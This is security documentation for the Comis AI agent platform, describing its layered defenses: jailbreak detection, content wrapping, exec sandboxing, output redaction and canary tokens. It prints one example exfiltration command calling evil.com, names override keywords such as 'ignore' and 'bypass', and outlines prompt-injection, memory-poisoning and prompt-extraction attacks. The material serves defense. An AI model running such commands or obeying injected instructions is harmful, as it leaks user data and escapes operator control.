> ## Documentation Index
> Fetch the complete documentation index at: https://comis-feature-matrix-channel.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# Defense in Depth

> How 22 categorical security layers (24 implementation primitives) work together to protect your agents and data

Defense in depth means no single security measure is expected to catch
everything. Instead, Comis layers multiple protections at every stage of
message processing. If a manipulation attempt slips past input validation, the
jailbreak detector catches it. If a secret leaks into an agent's response, the
output guard redacts it before it reaches the user. This page catalogs every
security layer and explains what it does, why it matters, and whether you need
to configure it.

<Note>
  **Two ways to count.** Comis groups its protections into **22 categorical
  layers** spanning 8 defensive categories (the headline number you will see in
  marketing material). When you enumerate every distinct security primitive in
  the source tree, the count is **24 implementation primitives** plus 1
  build-time enforcement layer (ESLint security rules). Both numbers refer to
  the same defenses; they just slice them at different abstraction levels. This
  page presents all 24 primitives grouped by request-lifecycle checkpoint.
</Note>

## How the Layers Work Together

Every message passes through six security checkpoints as it moves through
Comis. Each checkpoint has its own set of protections, and the layers at each
checkpoint work independently. This means a failure in one layer does not
compromise the others.

1. **At the gateway** -- Bearer token authentication and (optionally) mTLS
   verify the client before the request enters Comis
2. **When a message arrives** -- Input is validated, scanned for manipulation,
   rate-limited, and (for email) sender-filtered before your agent sees it
3. **When skills load** -- Skill content is scanned for threats and sanitized
   before it can influence your agent
4. **When the agent acts** -- Actions are classified, restricted by tool
   policy, may require approval, shell commands are inspected for substitution,
   and the exec tool runs inside an OS-level filesystem sandbox
5. **When a response is sent** -- Output is scanned for leaked secrets and
   canary token extraction before the user sees it
6. **When data is stored** -- Memory writes are validated, secrets are
   encrypted, and config is redacted

<Info>
  Most of these layers are automatic. The sections below tell you which ones need
  configuration.
</Info>

## Security Layers

### At the Gateway

Comis exposes its HTTP, JSON-RPC, and WebSocket endpoints through a single
gateway. These layers protect that perimeter before any request even reaches
the input checkpoint.

<AccordionGroup>
  <Accordion title="Bearer Token Authentication" icon="key-skeleton">
    **What it does:** Every API client must present a bearer token. Tokens are
    compared in **constant time** using `crypto.timingSafeEqual()` -- the
    server compares against every entry even when the first one already
    matched -- so attackers cannot probe valid tokens by measuring response
    time. Each token has a list of allowed scopes (e.g., `rpc`, `ws`,
    `admin`).

    **Why it matters:** Without authentication, anyone who can reach the
    gateway can drive your agents, read messages, and edit configuration.
    Timing-safe comparison closes the side-channel that naive string
    equality opens.

    **Do I need to configure it?** Yes -- supply tokens under
    `gateway.tokens` in your config. See [Hardening](/security/hardening) for
    a worked example.
  </Accordion>

  <Accordion title="mTLS (Mutual TLS)" icon="lock-keyhole">
    **What it does:** Validates the gateway's server certificate, key, and CA
    certificate at startup (PEM format and expiry checks via `X509Certificate`)
    and -- when configured -- requires clients to present a valid certificate
    signed by the configured CA. Client identity is extracted from the cert's
    Common Name (CN).

    **Why it matters:** TLS encrypts traffic so bearer tokens cannot be
    intercepted on the network. Mutual TLS extends that to client
    authentication: only holders of an enrolled cert can connect at all.

    **Do I need to configure it?** Optional but recommended for any remote
    deployment. Set `gateway.tls.certPath`, `keyPath`, and `caPath`. See
    [Hardening](/security/hardening) for the full setup.
  </Accordion>

  <Accordion title="Microsoft Teams Public Endpoint" icon="microsoft">
    **What it does:** Microsoft Teams is the one channel that must receive
    messages on a public HTTPS endpoint -- the Bot Framework Connector service
    pushes activities to `/channels/msteams/api/messages` on your gateway. The
    route is mounted **only** when the channel is enabled
    (`channels.msteams.enabled: true`; off by default), rides the gateway's
    existing TLS surface, and every inbound request is validated against the Bot
    Framework signing keys before it reaches your agent.

    **Why it matters:** A public endpoint is an exposed surface. Requiring the
    channel to be explicitly enabled, validating every inbound request, and
    terminating TLS at the gateway (or a reverse proxy / Tailscale Funnel in
    front of it) keeps that surface closed by default and authenticated when
    open. A webhook channel is also exempt from the health monitor's automatic
    stale-reap, so a silently broken endpoint would otherwise report healthy
    forever -- a bot that quietly stops receiving messages with no error.

    **Do I need to configure it?** Yes if you enable Teams. Expose the gateway
    over HTTPS (a reverse proxy or Tailscale Funnel is recommended), keep
    `channels.msteams.enabled` off until the endpoint is wired, and rely on the
    `comis doctor` Teams probes plus the missed-inbound alert
    (`missedInboundThresholdMs`, default 6 hours) to catch a dead ingress -- it
    surfaces as a `comis fleet` health signal. See the
    [Microsoft Teams setup guide](/channels/msteams) for the full exposure and
    liveness walkthrough.
  </Accordion>
</AccordionGroup>

### When a Message Arrives

The first checkpoint protects against malicious or malformed input. These
layers run before your agent processes the message.

<AccordionGroup>
  <Accordion title="Input Validation" icon="filter">
    **What it does:** Checks every incoming message for structural problems --
    excessive length (over 100,000 characters), null bytes, abnormal whitespace
    ratios, and repetitive content.

    **Why it matters:** Prevents malformed messages from reaching your agent and
    consuming resources.

    **Do I need to configure it?** No. Always active with no configuration
    needed. Messages that fail validation are rejected before reaching your
    agent.
  </Accordion>

  <Accordion title="Jailbreak Detection" icon="user-secret">
    **What it does:** Scans messages for manipulation attempts across 13
    weighted pattern categories, drawing from a library of **65 distinct
    injection patterns across 8 categories** (jailbreak phrasing, role markers,
    dangerous commands, secret formats, prompt extraction, credential logging,
    invisible characters, and the content scanner). Includes typoglycemia
    detection on 8 key terms (`ignore`, `previous`, `instructions`, `system`,
    `bypass`, `override`, `forget`, `delete`).

    **Why it matters:** Catches attempts to trick your agent into ignoring its
    safety instructions. Even sophisticated multi-step manipulation attempts are
    detected.

    **Do I need to configure it?** No. Active by default in "warn" mode -- it
    reinforces agent instructions when suspicious patterns are detected without
    blocking messages outright. Configurable thresholds: `mediumThreshold`
    (default 0.4), `highThreshold` (default 0.7), `action` (`warn` default,
    or `block`).
  </Accordion>

  <Accordion title="Injection Rate Limiting" icon="gauge">
    **What it does:** Tracks repeated suspicious messages from the same user.
    After 3 flagged messages in 5 minutes, escalates to warnings. After 5,
    triggers an audit event.

    **Why it matters:** Detects persistent manipulation attempts that might
    individually score below the detection threshold. A single suspicious
    message might not trigger action, but a pattern of them does.

    **Do I need to configure it?** No. Always active with sensible defaults.
  </Accordion>

  <Accordion title="External Content Wrapping" icon="shield">
    **What it does:** When your agent fetches web pages, reads emails, or
    processes webhook content, that external content is wrapped in security
    boundaries with **cryptographically random delimiters** (24 hex chars =
    12 random bytes per wrap). The wrapped block also embeds a 9-line SECURITY
    NOTICE telling the model to treat the content as data, not instructions,
    and runs the content through 17 jailbreak/command pattern detectors.

    **Why it matters:** A common attack is embedding hidden instructions in web
    pages that your agent might fetch. Content wrapping neutralizes this.
    Sources: `email`, `webhook`, `api`, `file_read`, `web_fetch`,
    `channel_metadata`, `web_search`, `document`.

    **Do I need to configure it?** No. Automatically applied to all external
    content sources.
  </Accordion>

  <Accordion title="Email Sender Filter" icon="envelope-circle-check">
    **What it does:** Restricts incoming email to whitelisted addresses. Mode
    `allowlist` (default) closes the door unless the sender appears in
    `allowFrom`; mode `open` accepts any sender. The filter also auto-detects
    bulk and automated email by inspecting RFC 3834 `Auto-Submitted`,
    `Precedence`, `List-Unsubscribe`, and `X-Auto-Response-Suppress` headers,
    plus `noreply` address patterns.

    **Why it matters:** Email is the easiest way to inject prompts into an
    agent. A locked-down sender list keeps adversaries from emailing your
    agent at all.

    **Do I need to configure it?** Yes if you enable the email channel. Set
    `channels.email.allowMode` and `channels.email.allowFrom` in your config.
    The default is fail-closed: empty allowlist blocks everything.
  </Accordion>
</AccordionGroup>

### When Skills Load

Custom skills can contain anything -- including dangerous instructions. These
layers ensure that skill content is safe before your agent uses it.

<AccordionGroup>
  <Accordion title="Content Scanning" icon="magnifying-glass">
    **What it does:** Scans custom skill content for 6 threat categories:
    command execution, environment variable harvesting, cryptocurrency mining,
    network exfiltration, obfuscated encoding, and XML injection.

    **Why it matters:** Prevents malicious or compromised skills from running
    dangerous operations. Skills that contain critical threats are blocked from
    loading entirely.

    **Do I need to configure it?** Enabled by default. You can adjust the
    scanning behavior if needed. See
    [Security Scanning](/skills/security-scanning) for the full scanner
    documentation and configuration options.

    Default: `skills.contentScanning.enabled: true`,
    `skills.contentScanning.blockOnCritical: true`
  </Accordion>

  <Accordion title="Sanitization Pipeline" icon="broom">
    **What it does:** A 4-step pipeline that cleans all skill content: strips
    HTML comments, normalizes Unicode (NFKC), removes invisible characters, and
    enforces a 20,000-character size limit.

    **Why it matters:** Removes hidden content that scanners might miss, like
    invisible Unicode characters or HTML comment injections.

    **Do I need to configure it?** No. Always active for all skills. See
    [Security Scanning](/skills/security-scanning) for details.
  </Accordion>
</AccordionGroup>

### When the Agent Acts

Once your agent decides to take an action, these layers control what it is
allowed to do and how much it can spend. This is where tool restrictions,
action classifications, human approval, and network safety come into play.
This checkpoint has the most layers because agent actions carry the highest
risk.

<AccordionGroup>
  <Accordion title="Tool Policy" icon="toolbox">
    **What it does:** Controls which tools each agent can access. Five built-in
    profiles (minimal, coding, messaging, supervisor, full) plus custom
    allow/deny lists.

    **Why it matters:** Limits what agents can do based on their role. A
    customer-support agent does not need file system access. A monitoring agent
    does not need to send messages.

    **Do I need to configure it?** Default profile is `full` (unrestricted).
    For production, restrict each agent to the minimum set of tools it needs.
    See [Tool Policy](/skills/tool-policy) to restrict access.
  </Accordion>

  <Accordion title="Action Classification" icon="tag">
    **What it does:** Every agent action is classified as read (safe), mutate
    (modifying), or destructive (irreversible). Over 100 actions are registered
    with specific classifications. Unknown actions default to "destructive"
    (fail-closed).

    **Why it matters:** Enables confirmation requirements and approval workflows
    based on action severity.

    **Do I need to configure it?** Yes -- you can control which classifications
    require confirmation. See [Approvals](/security/approvals).

    Default: `security.actionConfirmation.requireForDestructive: true`,
    `security.actionConfirmation.requireForSensitive: false`
  </Accordion>

  <Accordion title="Approval Gate" icon="clipboard-check">
    **What it does:** Pauses agent execution when a privileged action is
    attempted, waits for human approval (via dashboard, RPC, or channel DM),
    and auto-denies if the timeout expires. The gate uses **two caches** so
    repeated requests do not flood operators:

    * **Denial cache** (60s by default) auto-denies an identical request that
      was just denied
    * **Approval cache** (30s by default) auto-approves an identical request
      that was just approved (set to 0 to disable batching)

    Multiple concurrent requests for the same action join the existing pending
    entry as "batch followers" so a single approval resolves all of them. The
    pending state serializes/restores on daemon restart.

    **Why it matters:** Gives you a human-in-the-loop checkpoint for high-risk
    operations like file deletion or configuration changes, without requiring
    you to click Approve 50 times when an agent retries.

    **Do I need to configure it?** Yes -- disabled by default. See
    [Approvals](/security/approvals).

    Default: `approvals.enabled: false`,
    `approvals.defaultTimeoutMs: 300000`,
    `approvals.denialCacheTtlMs: 60000`,
    `approvals.batchApprovalTtlMs: 30000`
  </Accordion>

  <Accordion title="Budget Protection" icon="wallet">
    **What it does:** Tracks API spending per execution and per day. Circuit
    breaker pauses agents that exceed error thresholds.

    **Why it matters:** Prevents runaway costs from infinite loops or
    malfunctioning agents. The circuit breaker automatically pauses agents that
    hit repeated errors.

    **Do I need to configure it?** Enabled by default with sensible limits. You
    can adjust the budget amounts and circuit breaker thresholds per agent. See
    [Safety](/agents/safety) for budget and circuit breaker configuration.
  </Accordion>

  <Accordion title="SSRF Protection" icon="globe">
    **What it does:** Validates every outbound URL before fetching. Blocks
    private IP addresses (10.x, 192.168.x, 127.x), loopback addresses,
    link-local addresses, and cloud metadata endpoints (169.254.169.254).

    **Why it matters:** Prevents attackers from tricking your agent into
    accessing internal services or cloud credentials. This is a critical
    protection for any agent that can fetch URLs.

    **Do I need to configure it?** No. Always active for all web-facing tools.
    URLs are validated at the DNS level before any connection is made.
  </Accordion>

  <Accordion title="Safe Path" icon="folder-tree">
    **What it does:** Validates all file paths to prevent directory traversal
    attacks (../), URL-encoded traversal, null byte injection, and symlink
    escapes.

    **Why it matters:** Prevents agents from accessing files outside their
    allowed directories.

    **Do I need to configure it?** No. Always active for all file operations.
    Paths are validated before any read or write occurs.
  </Accordion>

  <Accordion title="Exec Security Validator" icon="terminal">
    **What it does:** A pre-sandbox check that inspects every shell command
    string for dangerous substitution before the sandbox even runs. Catches
    command substitution `$(...)`, backtick substitution `` `...` ``,
    process substitution `<(...)` and `>(...)`, zsh process substitution
    `=(...)`, and zsh equals expansion (`=cmd` at a word boundary). The
    validator is **quote-aware**: a state machine tracks whether the parser
    is inside single quotes (where these patterns are safe), double quotes,
    or backticks, so legitimate strings containing `$(` are not flagged.

    **Why it matters:** The OS sandbox isolates the filesystem, but it does
    not parse shell syntax. A command like
    `cat workspace/file > $(curl evil.com/exfil)` runs inside the sandbox
    *and* exfiltrates data to an attacker. This validator rejects the
    command before it ever reaches the shell.

    **Do I need to configure it?** No. Always active for the `system.exec`
    tool.
  </Accordion>

  <Accordion title="Exec Sandbox" icon="box">
    **What it does:** Wraps every `system.exec` tool command in an OS-level
    filesystem sandbox (bubblewrap on Linux, sandbox-exec on macOS).
    The sandboxed process can only see the agent's workspace, the graph
    shared directory, and system binaries -- everything else on the host
    filesystem is invisible.

    **Why it matters:** File tools (read, write, edit) are protected by
    Safe Path validation, but the exec tool spawns a full shell that can
    access any path. Without the sandbox, an agent could bypass file tool
    restrictions by running `exec cat /path/to/secret` instead of using
    the `read` tool. The OS sandbox closes this gap at the kernel level.

    **Important scope note:** The exec sandbox protects **only** the
    `system.exec` tool. Built-in tools that run inside the daemon process
    (Node-resident skills, MCP stdio servers, image-gen helpers) are not
    wrapped by this sandbox -- their security relies on the application-level
    layers above (tool policy, content scanner, SSRF guard, safe path).

    **Do I need to configure it?** Enabled by default. On Linux, install
    bubblewrap (`apt install bubblewrap`). On macOS, `sandbox-exec` is
    built in. Set `execSandbox.enabled: "never"` to disable (not
    recommended). See [Exec Sandbox](/security/exec-sandbox).
  </Accordion>

  <Accordion title="Credential Broker" icon="key">
    **Category: Secrets / Network**

    **What it does:** Keeps API keys out of the exec sandbox entirely. When
    an agent drives an API-key CLI (Claude Code, curl, etc.), the real secret
    stays in the daemon's encrypted SecretManager store and is injected at the
    TLS network boundary (HTTPS MITM). The sandbox process sees only a
    placeholder value -- `cat /proc/self/environ` and `env` reveal nothing
    useful. Every inject, deny, and blocked-egress event is audited on the
    event bus with `agentId` and `traceId`. On Linux, the credentialed sandbox
    runs in `broker-only` network mode where the broker unix socket is the
    only bind-mounted network path -- making it the only reachable egress
    destination for driven-CLI traffic (kernel-enforced; validated on the Linux
    production host class). The broker is fail-closed: no binding
    or missing secret means the request is refused rather than forwarded.

    **Why it matters:** Even inside a filesystem sandbox, a process can read
    its own environment variables. The credential broker removes the credential
    from that environment entirely, so no amount of prompt injection or sandbox
    escape can extract the real API key from inside the namespace.

    **Do I need to configure it?** Yes -- configure an `executor.broker.bindings`
    entry for each CLI you want to drive. Two built-in presets ship today:
    `anthropic` and `finnhub`. Custom `hostRules` cover any other host.
    See [Credential Broker](/security/credential-broker).
  </Accordion>
</AccordionGroup>

### When a Response Is Sent

Before any message reaches the user, these layers perform a final safety check.
They are your last line of defense against leaked secrets and prompt extraction.

<AccordionGroup>
  <Accordion title="Output Guard" icon="eye">
    **What it does:** Scans every agent response for **15 secret patterns**
    (AWS access key IDs, hex secrets, base64 secrets, private key headers,
    GitHub tokens, Slack tokens, Anthropic keys, OpenAI project keys,
    Telegram bot tokens, Discord bot tokens, Google API keys, DB connection
    strings, generic API key assignments, plus warning-only patterns for
    Bearer tokens and JWTs). Critical findings are replaced with
    `[REDACTED:pattern_name]` before the response reaches the user. The
    guard also runs the **two prompt-extraction patterns** (`system_prompt_label`,
    `instructions_label`), the canary token check, and an **exact-match redaction
    of the daemon's own known secret values** (e.g. the resolved gateway token) —
    this catches a bare high-entropy secret that has no `key=`/`token:` prefix for
    the regex patterns to anchor on, with zero false-positive risk.

    **Why it matters:** Even if your agent accidentally includes a secret in
    its response, users never see it.

    **Do I need to configure it?** No. Always active. Redaction happens
    automatically before the message leaves Comis.
  </Accordion>

  <Accordion title="Canary Tokens" icon="bird">
    **What it does:** Embeds a unique cryptographic token in each agent's system
    prompt. If this token appears in an agent's output, it means the system
    prompt was extracted -- a prompt injection attack.

    **Why it matters:** Detects prompt extraction attacks that other layers
    might miss.

    **Do I need to configure it?** No. Automatic and invisible. Each agent gets
    its own unique canary token.
  </Accordion>

  <Accordion title="Log Sanitization" icon="eraser">
    **What it does:** Scrubs **18 credential patterns** from all log output
    using regex-based redaction (Anthropic, OpenAI project, generic `sk-`,
    Bearer, Telegram bot, AWS access key, AWS secret key, Stripe, Google,
    Slack app, SendGrid, JWT, DB connection strings, URL passwords, Discord
    bot, hex secrets, GitHub tokens). Inputs over 1 MB pass through unchanged
    to avoid ReDoS on oversized strings.

    Pino's structured-field redactor is the **first line** of defense and
    auto-redacts the canonical credential keys (`apiKey`, `token`, `password`,
    `secret`, `authorization`, `botToken`, `privateKey`, `cookie`,
    `webhookSecret`) up to three levels deep. The Log Sanitizer is a regex
    safety net for credentials that escape into free-text log messages.

    **Why it matters:** Prevents accidental credential exposure in log files,
    which are often shared with team members for debugging or sent to log
    aggregation services.

    **Do I need to configure it?** Enabled by default. Toggle with
    `security.logRedaction: true` (default).
  </Accordion>
</AccordionGroup>

### When Data Is Stored

The final checkpoint protects data at rest. These layers ensure that stored
memories, secrets, and configuration values cannot be compromised even if
someone gains access to your server's file system.

<AccordionGroup>
  <Accordion title="Memory Write Validation" icon="database">
    **What it does:** Scans content before it is saved to agent memory.
    Classifies writes as CLEAN, WARN, or CRITICAL based on injection pattern
    analysis.

    **Why it matters:** Prevents "memory poisoning" where an attacker stores
    malicious instructions that are later retrieved via search and executed as
    if they were trusted knowledge.

    **Do I need to configure it?** No. Always active for all memory write
    operations.
  </Accordion>

  <Accordion title="Forged Context-Marker Neutralization" icon="user-secret">
    **What it does:** Before an assistant turn becomes replayable history,
    strips any context-boundary markers the model emitted in its *own* output --
    the `[System context]` / `[End system context]` wrapper and line-start
    inbound-envelope headers (`[telegram] <id> (<time>):`). Applied on every
    replay path (LCD store ingest, the assembler's fresh-tail slice, and the SDK
    replay context) and scoped to assistant content only, so real inbound turns
    are never touched.

    **Why it matters:** The inbound-message format is plain, reproducible text
    (unlike external content, which is fenced with an unforgeable per-session
    nonce). Without this, a model can fabricate a "next user turn" in its reply;
    the fabrication is persisted verbatim and replayed as genuine history, so on
    the following turn the agent reads its own forgery as a real user message and
    acts on it -- a self-reinforcing hallucination. Neutralizing the framing makes
    that impossible. Each occurrence is logged (a counts-only WARN naming
    `forgedMarkersStripped`) so the attempt is observable.

    **Do I need to configure it?** No. Always active on every replay path.
  </Accordion>

  <Accordion title="Encrypted Secrets (SecretsCrypto)" icon="lock">
    **What it does:** Encrypts your API keys and passwords with AES-256-GCM
    using HKDF-SHA256 key derivation. Each encryption uses a fresh 32-byte
    salt and 12-byte IV; the 16-byte authentication tag detects tampering on
    decrypt. The HKDF info string (`comis-secrets-v1`) is versioned so the
    algorithm can be rotated without breaking older ciphertexts. Even if
    someone accesses your files, they cannot read secrets without the master
    key.

    **Why it matters:** Protects credentials at rest. Essential for any
    production deployment where server files could potentially be accessed by
    unauthorized parties.

    **Do I need to configure it?** No -- enabled by default. See
    [Secrets](/security/secrets) to manage the master key or switch the
    storage backend.

    Default: `security.storage: encrypted`
  </Accordion>

  <Accordion title="Centralized Secret Access (SecretManager)" icon="key">
    **What it does:** Every credential read in Comis goes through a single
    `SecretManager` interface with only four methods (`get`, `has`,
    `require`, `keys`). Direct `process.env` access is **forbidden** by an
    ESLint rule, so the manager is the only auditable path to a credential.
    The manager takes a defensive copy of the env on creation -- mutations to
    `process.env` after startup do not change what the manager exposes -- and
    has no enumeration / `getAll()` escape hatch.

    **Why it matters:** Centralizing credential access means every read can
    be logged, scoped, or denied. ESLint enforcement means a developer cannot
    accidentally bypass it.

    **Do I need to configure it?** No. Always active.
  </Accordion>

  <Accordion title="Per-Agent Secret Scoping (ScopedSecretManager)" icon="user-shield">
    **What it does:** Wraps the base `SecretManager` per agent. Each agent
    gets a glob-pattern allowlist (`secrets.allow: ["openai_*", ...]`) that
    filters which secret names it can read. Successful reads, denied reads,
    and missing-key reads all emit `secret:accessed` audit events tagged with
    the agent ID. An empty allowlist falls back to unrestricted access (with
    a one-time warning), so an agent with no `secrets.allow` config is never
    locked out of every credential.

    **Why it matters:** Implements least-privilege at the credential layer. A
    customer-support agent never needs your AWS keys; this layer makes that
    explicit and auditable.

    **Do I need to configure it?** Yes -- recommended for production. Set
    `agents.<id>.secrets.allow` per agent. See [Secrets](/security/secrets).
  </Accordion>

  <Accordion title="Multi-Source Secret Resolution (SecretRefResolver)" icon="diagram-project">
    **What it does:** Resolves YAML config values written as `${VAR}` or
    `SecretRef` objects from three providers:

    * **env** -- routed through `SecretManager` for auditability
    * **file** -- absolute path, regular-file check, no symlinks to
      restricted paths, max 1MB, JSON Pointer extraction via
      `provider#/json/pointer`
    * **exec** -- launches a credential helper, sends a versioned JSON-RPC
      request, validates the response shape, 10-second default timeout

    **Why it matters:** Lets you keep secrets out of the config file
    entirely (e.g., pull them from `pass`, `1Password`, `aws-vault`, or a
    sealed file at deploy time) without any plaintext on disk.

    **Do I need to configure it?** No -- the resolver runs whenever your
    config contains a SecretRef. See
    [Secret Manager Reference](/reference/secret-manager) for the full
    syntax.
  </Accordion>

  <Accordion title="Config Redaction" icon="eye-slash">
    **What it does:** When config is read via the API or dashboard,
    secret-bearing fields are automatically replaced with `[REDACTED]`.

    **Why it matters:** Prevents credential exposure through the management API
    or dashboard views.

    **Do I need to configure it?** No. Always active for config read operations.
    Both the HTTP API and the web dashboard use this redaction layer.
  </Accordion>
</AccordionGroup>

## Build-Time Enforcement

In addition to the 24 runtime primitives above, Comis enforces **four
security rules at lint time** (`pnpm lint:security`). CI fails if any of them
trip:

1. **No `eval()`** -- via `security/detect-eval-with-expression`
2. **No `Function()` constructor** -- equivalent to `eval`, banned via
   AST selector
3. **No raw `path.join()`** -- forces every path operation through
   [`safePath()`](/reference/safe-path)
4. **No direct `process.env`** -- forces every credential access through
   [`SecretManager`](/reference/secret-manager)

These four rules prevent whole classes of vulnerability from ever shipping.

## Putting It All Together

With **22 categorical layers** (24 runtime primitives plus 4 build-time
ESLint rules) working across 6 checkpoints, the security model ensures that
threats are caught at multiple stages. Even in the worst case -- where
several layers fail simultaneously -- the remaining layers still provide
meaningful protection.

Most of the layers listed above are automatic and require no configuration.
The ones that do need setup -- gateway tokens, mTLS, encrypted secrets,
approval workflows, tool policy, email allowlist -- are covered in their own
dedicated guides. You can verify that all layers are properly configured by
running `comis doctor`, which checks your installation against recommended
security practices. See [Hardening](/security/hardening) for the full
walkthrough.

## Local Model Security Posture

### The Model-Independent Guarantee

**The Comis security guarantee is a property of the platform, not the model.** When you configure a local or quantized model (e.g., qwen3.6:27b, qwen3.6:35b-mlx), the following platform controls are enforced regardless of which model is configured:

| Control                               | Enforced by                   | What it prevents                                                                                                    |
| ------------------------------------- | ----------------------------- | ------------------------------------------------------------------------------------------------------------------- |
| Output redaction                      | `OutputGuard`                 | Credential and canary token leak in agent responses                                                                 |
| Memory recall trust-filter            | `FROZEN_TRUST_PATHS`          | Injected or fabricated memories from elevating trust level                                                          |
| Untrusted content wrapping            | `wrapExternalContent`         | Tool results, image inputs, and external content treated as untrusted                                               |
| Memory write validation               | `MemoryWriteValidator`        | Unauthorized memory writes or privilege-escalation via memory injection                                             |
| Exec 13-gate denylist + bwrap sandbox | Exec security layer           | Shell command injection and filesystem escape                                                                       |
| Canary token                          | Per-session canary            | Exfiltration detection (canary in output → blocked)                                                                 |
| Input security guard                  | `InputSecurityGuard`          | Prompt injection patterns in inbound messages                                                                       |
| Forged context-marker neutralization  | Assistant-output replay guard | A model fabricating a `[System context]` / inbound-envelope turn in its own reply and re-reading it as real history |

A live security matrix confirmed this empirically: **injection-resisted=100%, secret-leaked=0%, over-refused=0%** across all 8 qwen3.6 batches (fair and bare prompts, 27b through 35b, GGUF and MLX). A platform-level control held by `OutputGuard`, `FROZEN_TRUST_PATHS`, and the exec sandbox does not depend on the model's instruction-following quality.

### `securityLevel` Scales Inversely with `capabilityClass`

When `capabilityClass` is set to a weaker class (e.g., via `providers.entries.<id>.capabilities.capabilityClass: small`), the platform automatically increases lockdown intensity:

| `capabilityClass`    | `securityLevel` | Lockdown behavior                                                      |
| -------------------- | --------------- | ---------------------------------------------------------------------- |
| `frontier`           | `standard`      | Standard safety reinforcement                                          |
| `mid`                | `hardened`      | Hardened warning in compact-secure prompt                              |
| `small`              | `locked`        | Mandatory sandbox restriction line injected into compact-secure prompt |
| `nano`               | `locked`        | Same as `small`                                                        |
| Unknown / unresolved | `locked`        | Fail-closed: unknown model defaults to the most-locked class           |

A weaker model receives **more** platform scaffolding, not less. The compact-secure prompt (`contextEngine.compactPrompt.enabled=true`) always retains the full safety core regardless of `capabilityClass`.

### Egress Governance Posture

**Local-only egress is the default.** When running Comis with a local model (Ollama), no model inference data leaves the device. This is the documented and recommended posture for privacy-sensitive deployments.

Off-device escalation to a cloud model is **not built**. If it is ever implemented, it will require:

* Explicit operator opt-in
* `OutputGuard` redaction of all payloads before off-device transmission
* Payload scope-limit (no full context exfiltration)
* Canary token in escalated payload (exfiltration detection)

The default escalation target for a local-first deploy would be a **larger local model** (e.g., escalating from qwen3.6:27b to qwen3.6:35b) — no off-device egress required.

### Recommended Secure Local Model Setup

See the [qwen3.6 configuration reference](/reference/config-yaml#recommended-secure-qwen36-configuration) for the complete `config.yaml` snippet with all security-relevant settings.

For model selection guidance: use **general-purpose** qwen3.6 variants (not coding-tuned models) for agent reliability. Coding-tuned models can exhibit goal fixation that the GoalAnchor and verification critic are designed to detect and correct — but general models avoid the issue in the first place.

## Related

<CardGroup cols={2}>
  <Card title="Security Overview" icon="shield-check" href="/security">
    Back to security overview
  </Card>

  <Card title="Secrets" icon="key" href="/security/secrets">
    Set up the encrypted secrets store
  </Card>

  <Card title="Approvals" icon="clipboard-check" href="/security/approvals">
    Configure human-in-the-loop approval
  </Card>

  <Card title="Hardening" icon="lock" href="/security/hardening">
    Follow the hardening checklist
  </Card>
</CardGroup>
